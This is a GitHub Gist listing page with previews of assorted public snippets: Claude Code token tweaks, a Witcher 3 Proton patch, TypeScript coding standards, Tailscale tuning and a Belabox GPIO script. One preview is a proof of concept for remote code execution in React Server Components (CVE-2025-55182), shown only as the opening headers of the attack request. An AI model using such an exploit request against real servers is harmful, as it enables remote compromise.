Skip to content

Instantly share code, notes, and snippets.

View datagutt's full-sized avatar
🐱

Thomas Lekanger datagutt

🐱
View GitHub Profile
@flamerix-ai
flamerix-ai / README.md
Last active November 18, 2026 19:30
Claude Code burns ~15-20% of your tokens on a 3-word status line: a Bun preload that turns agent_summary off · by Flamerix AI, flamerix.ai · MIT

Claude Code burns ~15–20% of your tokens on a 3-word status line. Here's how to turn it off

by Flamerix AI · MIT License

Platforms: Linux and Windows 11 tested by us; macOS reported by others. Tested on Claude Code 2.1.257–2.1.317. The binary is not modified (BUN_OPTIONS=--preload). An update can silently undo it, so see Verify.

TL;DR

Every ~30 seconds, Claude Code re-sends each background agent's full transcript to the model to

@gabrielmaialva33
gabrielmaialva33 / README.md
Last active November 20, 2026 10:32
The Witcher 3 5.0 on Proton/Linux: re-enable DLSS, DLSS-G and ray tracing (wine_get_version check patch)

The Witcher 3 5.0 on Proton: re-enable DLSS, DLSS-G and ray tracing

game 5.01 NVIDIA AMD Proton

An unofficial workaround until CD PROJEKT RED or Valve fix this properly. As soon as the 5.0 executable sees Wine, it turns off Streamline (DLSS SR/RR, DLSS-G, Reflex), ray tracing, path tracing and FSR frame generation. Everything here brings them back.

Important

The exe patch script supports only bin/x64_dx12/witcher3.exe 5.0.0.1090142 (patch 5.01c, Steam build 26238013, sha256 05948d72…bae0), 5.0.0.1048522 (patch 5.01, 2026-10-08, Steam build 2

@dmmulroy
dmmulroy / coding-standards-draft.md
Created June 18, 2026 22:39
coding-standards-draft.md

TypeScript Coding Standards

These standards describe how to design and write TypeScript code in this codebase. They are especially intended for agents: before adding patterns, libraries, adapters, or abstractions, read the existing code and prefer the local convention unless it conflicts with the safety/correctness principles below.

Decision priority

When rules pull in different directions, use this order:

  1. Preserve correctness, safety, and debuggability.
  2. Follow established project architecture and conventions.
@kieranklaassen
kieranklaassen / token_analysis.py
Created April 6, 2026 20:24
Claude Code token usage analyzer - breaks down usage by project, session, and subagent
#!/usr/bin/env python3
"""
Claude Code token usage analyzer.
Analyzes ~/.claude/projects/ JSONL files for token usage patterns.
"""
import json
import os
import sys
from pathlib import Path
@maple3142
maple3142 / CVE-2025-55182.http
Last active November 12, 2026 04:59
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@ben-vargas
ben-vargas / 1-opencode_openai_oauth.md
Last active October 13, 2025 02:38
Config for opencode plugin: opencode-openai-codex-auth

Config for opencode plugin: opencode-openai-codex-auth

For those who might be having edge case behavior, or oddity with start/restart of opencode not retaining last used model properly, or "changing to a different model name" it's likely because of incorrect recommended setup in the opencode.json config file documented in the plugin repo.

You might try the config below, where model id is the key in the models object rather than user-friendly name.

This solved the odd behavior for me with launching opencode and /models slash command - it also provides shorter model names and easier search for all models with "oauth".

image
@ben-vargas
ben-vargas / opencode-codex-plugin-model-settings.md
Created October 2, 2025 19:54
opencode plugin for chatgpt oauth - model settings support

Configuration Settings - Implementation Plan

This document serves as a comprehensive development guide for implementing configurable settings in the opencode-openai-codex-auth plugin. It outlines the configuration settings that will be supported for all GPT-5 family models when accessed through ChatGPT OAuth (subscription-based) authentication.

Supported Models

This plugin provides access to the following models via ChatGPT Plus/Pro subscription:

  1. gpt-5-codex - Optimized for coding tasks with built-in code-aware reasoning
  2. gpt-5 - General-purpose reasoning model for complex tasks
@joshenders
joshenders / tailscale_udp_optimization.md
Last active July 28, 2026 06:58
How to improve tailscale throughput via transport layer offloading in OpenWrt 25.x

How to improve tailscale throughput via transport layer offloading in OpenWrt 25.x

Tailscale version 1.54 or later used with OpenWrt 24.10 or later (which uses kernel 6.6) enables UDP throughput improvements via transport layer offloading.

Namely, tuning two features may show improved throughput:

  • rx-udp-gro-forwarding: Enables UDP Generic Receive Offload (GRO) forwarding, which aggregates incoming UDP packets to reduce CPU overhead on receive.
  • rx-gro-list: If disabled (off), it prevents multiple flows from being aggregated simultaneously which simplifies flow handling and performance on some workloads.

[!NOTE]

@cr08
cr08 / gpio_installer.sh
Last active October 30, 2026 01:54
Belabox install script to add service for setting physical GPIO pins 15 and 40 to OUT and LOW for specific 4G/5G hats
#!/bin/bash
####################################
#
# This script is designed for use with the official Belabox images on the supported Rockchip RK3588 boards
# in combination with the SpotPear 4G/5G M.2 modem hats:
# https://spotpear.com/index.php/shop/Raspberry-Pi-M.2-4G-5G-GSM-GPRS-EDGE.html
#
# The Belabox image, at least on the Orange Pi 5 Plus, defaults available GPIO pins to IN with a pullup.
# Physical pins 15 and 40 tie to modem POWER and RESET pins with these hats and the defaults will keep
@adrienne
adrienne / mullenweg-wpe.md
Last active October 21, 2026 14:43
The Mullenweg/WPE Thing